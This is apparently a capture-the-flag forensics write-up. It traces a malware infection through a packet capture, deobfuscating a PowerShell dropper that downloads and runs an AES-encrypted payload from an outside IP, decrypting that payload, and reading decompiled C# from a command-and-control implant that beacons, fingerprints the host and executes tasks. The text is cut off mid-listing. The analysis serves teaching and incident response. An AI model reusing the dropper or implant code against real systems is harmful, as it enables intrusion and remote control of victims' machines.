Interstellar C2
20 minutes to read
We are given a PCAP file called capture.pcapng
. Let’s open it in Wireshark:
As always, it is nice to start analyzing top-level protocols like HTTP, so let’s apply a filter:
The first request is trying to download a PowerShell script called vn84.ps1
:
PowerShell deobfuscation
We can take the script from Wireshark and read it here:
.("{1}{0}{2}" -f'T','Set-i','em') ('vAriA'+'ble'+':q'+'L'+'z0so') ( [tYpe]("{0}{1}{2}{3}" -F'SySTEM.i','o.Fi','lE','mode')) ; &("{0}{2}{1}" -f'set-Vari','E','ABL') l60Yu3 ( [tYPe]("{7}{0}{5}{4}{3}{1}{2}{6}"-F'm.','ph','Y.ae','A','TY.crypTOgR','SeCuRi','S','sYSte')); .("{0}{2}{1}{3}" -f 'Set-V','i','AR','aBle') BI34 ( [TyPE]("{4}{7}{0}{1}{3}{2}{8}{5}{10}{6}{9}" -f 'TEm.secU','R','Y.CrY','IT','s','Y.','D','yS','pTogrAPH','E','CrypTOSTReAmmo')); ${U`Rl} = ("{0}{4}{1}{5}{8}{6}{2}{7}{9}{3}"-f 'htt','4f0','53-41ab-938','d8e51','p://64.226.84.200/9497','8','58','a-ae1bd8','-','6')
${P`TF} = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51"
.("{2}{1}{3}{0}"-f'ule','M','Import-','od') ("{2}{0}{3}{1}"-f 'r','fer','BitsT','ans')
.("{4}{5}{3}{1}{2}{0}"-f'r','-BitsT','ransfe','t','S','tar') -Source ${u`Rl} -Destination ${p`Tf}
${Fs} = &("{1}{0}{2}" -f 'w-Ob','Ne','ject') ("{1}{2}{0}"-f 'eam','IO.','FileStr')(${p`Tf}, ( &("{3}{1}{0}{2}" -f'lDIt','hi','eM','c') ('VAria'+'blE'+':Q'+'L'+'z0sO')).VALue::"oP`eN")
${MS} = .("{3}{1}{0}{2}"-f'c','je','t','New-Ob') ("{5}{3}{0}{2}{4}{1}" -f'O.Memor','eam','y','stem.I','Str','Sy');
${a`es} = (&('GI') VARiaBLe:l60Yu3).VAluE::("{1}{0}" -f'reate','C').Invoke()
${a`Es}."KE`Y`sIZE" = 128
${K`EY} = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
${iv} = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)
${a`ES}."K`EY" = ${K`EY}
${A`es}."i`V" = ${i`V}
${cS} = .("{1}{0}{2}"-f'e','N','w-Object') ("{4}{6}{2}{9}{1}{10}{0}{5}{8}{3}{7}" -f 'phy.Crypto','ptogr','ecuri','rea','Syste','S','m.S','m','t','ty.Cry','a')(${m`S}, ${a`Es}.("{0}{3}{2}{1}" -f'Cre','or','pt','ateDecry').Invoke(), (&("{1}{2}{0}"-f 'ARIaBLE','Ge','T-V') bI34 -VaLue )::"W`RItE");
${f`s}.("{1}{0}"-f 'To','Copy').Invoke(${Cs})
${d`ecD} = ${M`s}.("{0}{1}{2}"-f'T','oAr','ray').Invoke()
${C`S}.("{1}{0}"-f 'te','Wri').Invoke(${d`ECD}, 0, ${d`ECd}."LENg`TH");
${D`eCd} | .("{2}{3}{1}{0}" -f'ent','t-Cont','S','e') -Path "$env:temp\tmp7102591.exe" -Encoding ("{1}{0}"-f 'yte','B')
& "$env:temp\tmp7102591.exe"
Well, it is not very readable, right? In fact, it is obfuscated, but we can transform it a bit by evaluating some expressions in PowerShell:
$ pwsh
PowerShell 7.3.3
PS .../Interstellar C2> "{1}{0}{2}" -f'T','Set-i','em'
Set-iTem
PS .../Interstellar C2> "{7}{0}{5}{4}{3}{1}{2}{6}"-F'm.','ph','Y.ae','A','TY.crypTOgR','SeCuRi','S','sYSte'
sYStem.SeCuRiTY.crypTOgRAphY.aeS
PS .../Interstellar C2> "{4}{7}{0}{1}{3}{2}{8}{5}{10}{6}{9}" -f 'TEm.secU','R','Y.CrY','IT','s','Y.','D','yS','pTogrAPH','E','CrypTOSTReAmmo'
sySTEm.secURITY.CrYpTogrAPHY.CrypTOSTReAmmoDE
PS .../Interstellar C2> ${U`Rl} = ("{0}{4}{1}{5}{8}{6}{2}{7}{9}{3}"-f 'htt','4f0','53-41ab-938','d8e51','p://64.226.84.200/9497','8','58','a-ae1bd8','-','6')
PS .../Interstellar C2> ${U`Rl}
http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51
PS .../Interstellar C2> "{4}{6}{2}{9}{1}{10}{0}{5}{8}{3}{7}" -f 'phy.Crypto','ptogr','ecuri','rea','Syste','S','m.S','m','t','ty.Cry','a'
System.Security.Cryptography.CryptoStream
PS .../Interstellar C2> "{2}{3}{1}{0}" -f'ent','t-Cont','S','e'
Set-Content
After a bit of analysis, we can guess that the script is doing a web request to /94974f08-5853-41ab-938a-ae1bd86d8e51
and decrypting the content with AES. Indeed, there is a GET request to this URL:
Decrypting malware executable
I exported the response data to a file called payload.bin
(using Export Packet Bytes...
option in Wireshark). Using Python, we can decrypt the payload with the key and IV from the PowerShell script:
$ file payload.bin
payload.bin: data
$ python3 -q
>>> from Crypto.Cipher import AES
>>>
>>> key = bytes((0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0))
>>> iv = bytes((0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1))
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>>
>>> with open('payload.bin', 'rb') as f:
... enc = f.read()
...
>>> data = cipher.decrypt(enc)
>>> data[:20]
b'MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00'
From the magic bytes, we see that the decrypted payload is actually a Windows PE, so let’s write it to a file:
>>> with open('malware.exe', 'wb') as f:
... f.write(data)
...
18960
>>> exit()
$ file malware.exe
malware.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
C# .NET decompilation
Since the executable file is compiled from C# .NET, we are able to decompile it and read C# source code using tools like JetBrains dotPeek, ILSpy or dnSpy.
The Main
function just calls Sharp
:
public static void Main()
{
Sharp(0L);
}
public static void Sharp(long baseAddr = 0L)
{
DllBaseAddress = new IntPtr(baseAddr);
if (!string.IsNullOrEmpty("") && !Environment.UserDomainName.ToLower().Contains("".ToLower()))
{
return;
}
IntPtr consoleWindow = GetConsoleWindow();
ShowWindow(consoleWindow, 0);
AUnTrCrts();
int num = 30;
int num2 = 60000;
ManualResetEvent manualResetEvent = new ManualResetEvent(initialState: false);
while (true && num > 0)
{
try
{
primer();
}
catch
{
num--;
manualResetEvent.WaitOne(num2);
num2 *= 2;
continue;
}
break;
}
IntPtr currentThread = GetCurrentThread();
TerminateThread(currentThread, 0u);
}
And, as can be seen, Sharp
tries to call primer
:
private static void primer()
{
if (!(DateTime.ParseExact("2025-01-01", "yyyy-MM-dd", CultureInfo.InvariantCulture) > DateTime.Now))
{
return;
}
dfs = 0;
string text = "";
try
{
text = WindowsIdentity.GetCurrent().Name;
}
catch
{
text = Environment.UserName;
}
if (ihInteg())
{
text += "*";
}
string userDomainName = Environment.UserDomainName;
string environmentVariable = Environment.GetEnvironmentVariable("COMPUTERNAME");
string environmentVariable2 = Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
int id = Process.GetCurrentProcess().Id;
string processName = Process.GetCurrentProcess().ProcessName;
Environment.CurrentDirectory = Environment.GetEnvironmentVariable("windir");
string text2 = null;
string text3 = null;
string[] array = basearray;
for (int i = 0; i < array.Length; dfs++, i++)
{
string text4 = array[i];
string un = $"{userDomainName};{text};{environmentVariable};{environmentVariable2};{id};{processName};1";
string key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=";
text3 = text4;
string address = text3 + "/Kettie/Emmie/Anni?Theda=Merrilee?c";
try
{
string enc = GetWebRequest(Encryption(key, un)).DownloadString(address);
text2 = Decryption(key, enc);
}
catch (Exception ex)
{
Console.WriteLine($" > Exception {ex.Message}");
continue;
}
break;
}
if (string.IsNullOrEmpty(text2))
{
throw new Exception();
}
Regex regex = new Regex("RANDOMURI19901(.*)10991IRUMODNAR");
Match match = regex.Match(text2);
string randomURI = match.Groups[1].ToString();
regex = new Regex("URLS10484390243(.*)34209348401SLRU");
match = regex.Match(text2);
string stringURLS = match.Groups[1].ToString();
regex = new Regex("KILLDATE1665(.*)5661ETADLLIK");
match = regex.Match(text2);
string killDate = match.Groups[1].ToString();
regex = new Regex("SLEEP98001(.*)10089PEELS");
match = regex.Match(text2);
string sleep = match.Groups[1].ToString();
regex = new Regex("JITTER2025(.*)5202RETTIJ");
match = regex.Match(text2);
string jitter = match.Groups[1].ToString();
regex = new Regex("NEWKEY8839394(.*)4939388YEKWEN");
match = regex.Match(text2);
string key2 = match.Groups[1].ToString();
regex = new Regex("IMGS19459394(.*)49395491SGMI");
match = regex.Match(text2);
string stringIMGS = match.Groups[1].ToString();
ImplantCore(text3, randomURI, stringURLS, killDate, sleep, key2, stringIMGS, jitter);
}
This function collects some information about the machine where it is running and stores it in a variable called un
. Then, we have this relevant part of the code:
// ...
for (int i = 0; i < array.Length; dfs++, i++)
{
string text4 = array[i];
string un = $"{userDomainName};{text};{environmentVariable};{environmentVariable2};{id};{processName};1";
string key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=";
text3 = text4;
string address = text3 + "/Kettie/Emmie/Anni?Theda=Merrilee?c";
try
{
string enc = GetWebRequest(Encryption(key, un)).DownloadString(address);
text2 = Decryption(key, enc);
}
// ...
Again, it is performing a web request, this time to /Kettie/Emmie/Anni?Theda=Merrilee?c
. And it appears in the PCAP file:
It looks like Base64-encoded data. For the moment, we can save it as a file named kettie.b64
.
First of all, there is a call to Encryption
with key
and un
as arguments:
private static string Encryption(string key, string un, bool comp = false, byte[] unByte = null)
{
byte[] array = null;
array = ((unByte == null) ? Encoding.UTF8.GetBytes(un) : unByte);
if (comp)
{
array = Compress(array);
}
try
{
SymmetricAlgorithm symmetricAlgorithm = CreateCam(key, null);
byte[] second = symmetricAlgorithm.CreateEncryptor().TransformFinalBlock(array, 0, array.Length);
return Convert.ToBase64String(Combine(symmetricAlgorithm.IV, second));
}
catch
{
SymmetricAlgorithm symmetricAlgorithm2 = CreateCam(key, null, rij: false);
byte[] second2 = symmetricAlgorithm2.CreateEncryptor().TransformFinalBlock(array, 0, array.Length);
return Convert.ToBase64String(Combine(symmetricAlgorithm2.IV, second2));
}
}
This function just uses AES with the provided key to encrypt some data (un
). This function might compress the plaintext before encrypting with Compress
(GZIP compression):
private static byte[] Compress(byte[] raw)
{
using MemoryStream memoryStream = new MemoryStream();
using (GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Compress, leaveOpen: true))
{
gZipStream.Write(raw, 0, raw.Length);
}
return memoryStream.ToArray();
}
The result of Encryption
is the IV (16 bytes) plus the ciphertext in Base64 encoding.
Remember that the output of Encryption(key, un)
was passed to GetWebRequest
:
private static WebClient GetWebRequest(string cookie)
{
try
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
WebClient webClient = new WebClient();
string text = "";
string text2 = "";
string password = "";
if (!string.IsNullOrEmpty(text))
{
WebProxy webProxy = new WebProxy();
webProxy.Address = new Uri(text);
webProxy.Credentials = new NetworkCredential(text2, password);
if (string.IsNullOrEmpty(text2))
{
webProxy.UseDefaultCredentials = true;
}
webProxy.BypassProxyOnLocal = false;
webClient.Proxy = webProxy;
}
else if (webClient.Proxy != null)
{
webClient.Proxy!.Credentials = CredentialCache.DefaultCredentials;
}
string value = dfarray[dfs].Replace("\"", string.Empty).Trim();
if (!string.IsNullOrEmpty(value))
{
webClient.Headers.Add("Host", value);
}
webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36");
webClient.Headers.Add("Referer", "");
if (cookie != null)
{
webClient.Headers.Add(HttpRequestHeader.Cookie, $"SessionID={cookie}");
}
return webClient;
}
Multiple decryptions
As can be seen, the encrypted information is present in the Cookie
header:
Let’s try to decrypt it:
$ python3 -q
>>> from Crypto.Cipher import AES
>>> from base64 import b64decode as b64d
>>>
>>> key = b64d('DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=')
>>> enc = b64d('9kx6dwfjkvpCrgA6Zr0Uyq9vv8hFR4G/1UiAtxFd/ERlJLGjlGeLrck85YBMyBfEfSpJzwZRVuiHgxSaFXbT8vdB6QqsurfO8Iaudfu0Gh8=')
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>> cipher.decrypt(ct)
b'DESKTOP;DESKTOP\\IEUser*;DESKTOP;AMD64;6796;tmp7102591;1\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Great, we have successfully decrypted the machine information (although it is irrelevant).
After this stage, the program takes the response data, decrypts it (saved as text2
) and processes it (still in primer
function):
// ...
Regex regex = new Regex("RANDOMURI19901(.*)10991IRUMODNAR");
Match match = regex.Match(text2);
string randomURI = match.Groups[1].ToString();
regex = new Regex("URLS10484390243(.*)34209348401SLRU");
match = regex.Match(text2);
string stringURLS = match.Groups[1].ToString();
regex = new Regex("KILLDATE1665(.*)5661ETADLLIK");
match = regex.Match(text2);
string killDate = match.Groups[1].ToString();
regex = new Regex("SLEEP98001(.*)10089PEELS");
match = regex.Match(text2);
string sleep = match.Groups[1].ToString();
regex = new Regex("JITTER2025(.*)5202RETTIJ");
match = regex.Match(text2);
string jitter = match.Groups[1].ToString();
regex = new Regex("NEWKEY8839394(.*)4939388YEKWEN");
match = regex.Match(text2);
string key2 = match.Groups[1].ToString();
regex = new Regex("IMGS19459394(.*)49395491SGMI");
match = regex.Match(text2);
string stringIMGS = match.Groups[1].ToString();
ImplantCore(text3, randomURI, stringURLS, killDate, sleep, key2, stringIMGS, jitter);
}
So, let’s take the Base64 payload and decrypt it with AES:
>>> with open('kettie.b64') as f:
... enc = b64d(f.read())
...
>>> iv, ct = enc[:16], enc[16:]
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>>
>>> data = cipher.decrypt(ct)
>>> data[:20]
b'ClJBTkRPTVVSSTE5OTAx'
It looks like the decrypted data is again Base64-encoded. It can be seen in Decryption
:
private static string Decryption(string key, string enc)
{
byte[] array = Convert.FromBase64String(enc);
byte[] array2 = new byte[16];
Array.Copy(array, array2, 16);
try
{
SymmetricAlgorithm symmetricAlgorithm = CreateCam(key, Convert.ToBase64String(array2));
byte[] bytes = symmetricAlgorithm.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16);
return Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes).Trim(new char[1])));
}
catch
{
SymmetricAlgorithm symmetricAlgorithm2 = CreateCam(key, Convert.ToBase64String(array2), rij: false);
byte[] bytes2 = symmetricAlgorithm2.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16);
return Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes2).Trim(new char[1])));
}
finally
{
Array.Clear(array, 0, array.Length);
Array.Clear(array2, 0, 16);
}
}
So, let’s decode it:
>>> data = b64d(data)
>>> data[:20]
b'\nRANDOMURI19901dVfhJ'
>>> data.decode()
'\nRANDOMURI19901dVfhJmc2ciKvPOC10991IRUMODNAR\nURLS10484390243"Kettie/Emmie/Anni?Theda=Merrilee", "Rey/Odele/Betsy/Evaleen/Lynnette?Violetta=Alie", "Wilona/Sybila/Pearla/Mair/Dannie/Darcie/Katerina/Irena/Missy/Ketty/", "Hedwiga/Pamelina/Lisette/Sibylla/Jana/Lise/Kellen/Daniela/Alika/", "Arlinda/Chelsae/Milka/Alexine/Mona/Catherin/Charmain/Deborah/", "Melessa/Anabelle/Bibbye/Candis/Jacqueline/Lacee/Nicola/Belvia?Lexi=Veronika", "Janith/Mona/Kimberlee/Flossi/Darcie/Doralia/Aloysia/Gracia/Antonella?Othella=Jewelle", "Vere/Maddalena/Kara/Thomasina/Alisha/Amargo/Carrissa/", "Harlie/Fanya/Jehanna/Jane/Tami/Sissy/", "Catlaina/Nikaniki/Sonja/Denni/Kelsey/Allis/Cherry?Hayley=Rosalind", "Gerry/June/Charissa/Blondy/Sharity/Lory?Loise=Maribelle", "Ariadne/Marianna/Betti/Samaria/Carmon/Tandy/Charissa/Sherrie/Felipa/Crissy/", "Glennis/Elfrieda/Fannie/Nola/Janetta/Darda/Kathi/Britte?Berta=Lidia", "Georgeta/Sharron/Cynthy/Roseanna/", "Morganne/Mamie/Arlee/Suki/Uta/Anett/Sena/Babette/Anderea?Hally=Karie", "Zondra/Tasha/Rey/Eolande/Rianon/Alla/Trula/Cynthea/Glyn?Jamima=Ethyl", "Edi/Phyllys/Marga/Jaquith/Ray/Lynnell/Flory?Angelle=Betteanne", "Ciel/Constantine/Catlee?Cecile=Karina", "Kaylee/Guglielma/Clementia/Ilka/", "Zoe/Delora/Christi/Carolan/Barbi/Myrta/Cherie/Halie/", "Brandy/Joanna/Afton/Jana?Chelsea=Truda", "Aveline/Alethea/Rona/Janka/Danila/Robbyn/Glynda/Stormi/", "Tamiko/Carine/Juliann/", "Jacenta/Hatti?Tatiana=Franny", "Hyacinth/", "Merrili/Gabrila/Harmony/Erda/", "Mirelle/Imogene/Rivalee/Ayn/Courtenay?Jania=Jerrylee", "Imogen/Ketti/Kari/Sam/Maurise?Shirlene=Eugenia", "Melinda/Lianne/Blancha/Silvie/Gracia/Zaneta/Lyda/Dalia/Tracie/", "Fanchette/Marlyn/Casey/Bobbye/Elayne/Charmane/", "Cissiee/Maxy/Madalyn/Esme/Esther/Barbette/Starla/Vin/Corrinne/Meggy/Joete?Glenna=Aida", "Kirsteni/Nelie/Lauralee/Stefanie/Haily/Annecorinne/Nettle/Natka?Jenda=Ursuline", "Elinore/", "Maisie/Hedwig/Natividad?Gisela=Ollie", "Roselle/Philippa/Noellyn/Zarah/Tillie/Koral/Laurette/Lelah/Kylynn/Cassaundra/Jordanna?Stormy=Vally", "Abbi/Rania/Vivienne/Engracia/Adel/Ange/Tonye/Rosemaria/Gretta/Guinna/Jehanna?Linnet=Daria", "Mamie/Eddi/Eddi/Tanitansy/Timmy/Willie/Catie/Gisela/Sheri/", "Helaina/Theadora/Malinda/Linnie/Jaquith/Ailyn/Magda?Sisile=Vonnie", "Faunie/Dionne/Shelbi/Zorana/Pearline/Rozanna/Kandace/Fanchon?Anna-Diana=Lorelei", "Waneta/Marnie/Jessalyn/Jaynell/Holli/Kassi/Euphemia/Katerine?Minda=Dawna", "Kikelia/Jacinthe/Adorne/Kariotta/Lonee/Krystalle/", "Constancia/Dynah?Allene=Moyra", "Donetta/", "Sallie/Lindie/Denni/", "Jeannine/Lucretia/Denna/Prudy/Hendrika/Ilysa/Caroljean?Aline=Tine"34209348401SLRU\nKILLDATE16652025-01-015661ETADLLIK\nSLEEP980013s10089PEELS\nJITTER20250.25202RETTIJ\nNEWKEY8839394nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=4939388YEKWEN\nIMGS19459394"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"49395491SGMI'
Command execution
This looks like a random string, but there are parts which are relevant. In fact, the program uses RegEx to parse this string and take specific values. For example, there is a new AES key between NEWKEY8839394
and 4939388YEKWEN
(the same string backwards), which is nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=
. We can also see more URLs. For instance, the next request goes to:
/Kikelia/Jacinthe/Adorne/Kariotta/Lonee/Krystalle/4b6ab472-7d73-4a7e-95d0-2f691d8424dc/?dVfhJmc2ciKvPOC
And all these strings appear in the above payload. So, the program enters in ImplantCore
:
private static void ImplantCore(string baseURL, string RandomURI, string stringURLS, string KillDate, string Sleep, string Key, string stringIMGS, string Jitter)
{
UrlGen.Init(stringURLS, RandomURI, baseURL);
ImgGen.Init(stringIMGS);
pKey = Key;
int num = 5;
Regex regex = new Regex("(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.IgnoreCase | RegexOptions.Compiled);
Match match = regex.Match(Sleep);
if (match.Success)
{
num = Parse_Beacon_Time(match.Groups["t"].Value, match.Groups["u"].Value);
}
StringWriter stringWriter = new StringWriter();
Console.SetOut(stringWriter);
ManualResetEvent manualResetEvent = new ManualResetEvent(initialState: false);
StringBuilder stringBuilder = new StringBuilder();
double result = 0.0;
if (!double.TryParse(Jitter, NumberStyles.Any, CultureInfo.InvariantCulture, out result))
{
result = 0.2;
}
string cmd;
while (!manualResetEvent.WaitOne(new Random().Next((int)((double)(num * 1000) * (1.0 - result)), (int)((double)(num * 1000) * (1.0 + result)))))
{
if (DateTime.ParseExact(KillDate, "yyyy-MM-dd", CultureInfo.InvariantCulture) < DateTime.Now)
{
Run = false;
manualResetEvent.Set();
continue;
}
stringBuilder.Length = 0;
try
{
string text = "";
cmd = null;
try
{
cmd = GetWebRequest(null).DownloadString(UrlGen.GenerateUrl());
text = Decryption(Key, cmd).Replace("\0", string.Empty);
}
catch
{
goto end_IL_00f1;
}
if (!text.ToLower().StartsWith("multicmd"))
{
continue;
}
string text2 = text.Replace("multicmd", "");
string[] array = text2.Split(new string[1] { "!d-3dion@LD!-d" }, StringSplitOptions.RemoveEmptyEntries);
string[] array2 = array;
foreach (string text3 in array2)
{
taskId = text3.Substring(0, 5);
cmd = text3.Substring(5, text3.Length - 5);
if (cmd.ToLower().StartsWith("exit"))
{
Run = false;
manualResetEvent.Set();
break;
}
if (cmd.ToLower().StartsWith("loadmodule"))
{
string s = Regex.Replace(cmd, "loadmodule", "", RegexOptions.IgnoreCase);
Assembly assembly = Assembly.Load(Convert.FromBase64String(s));
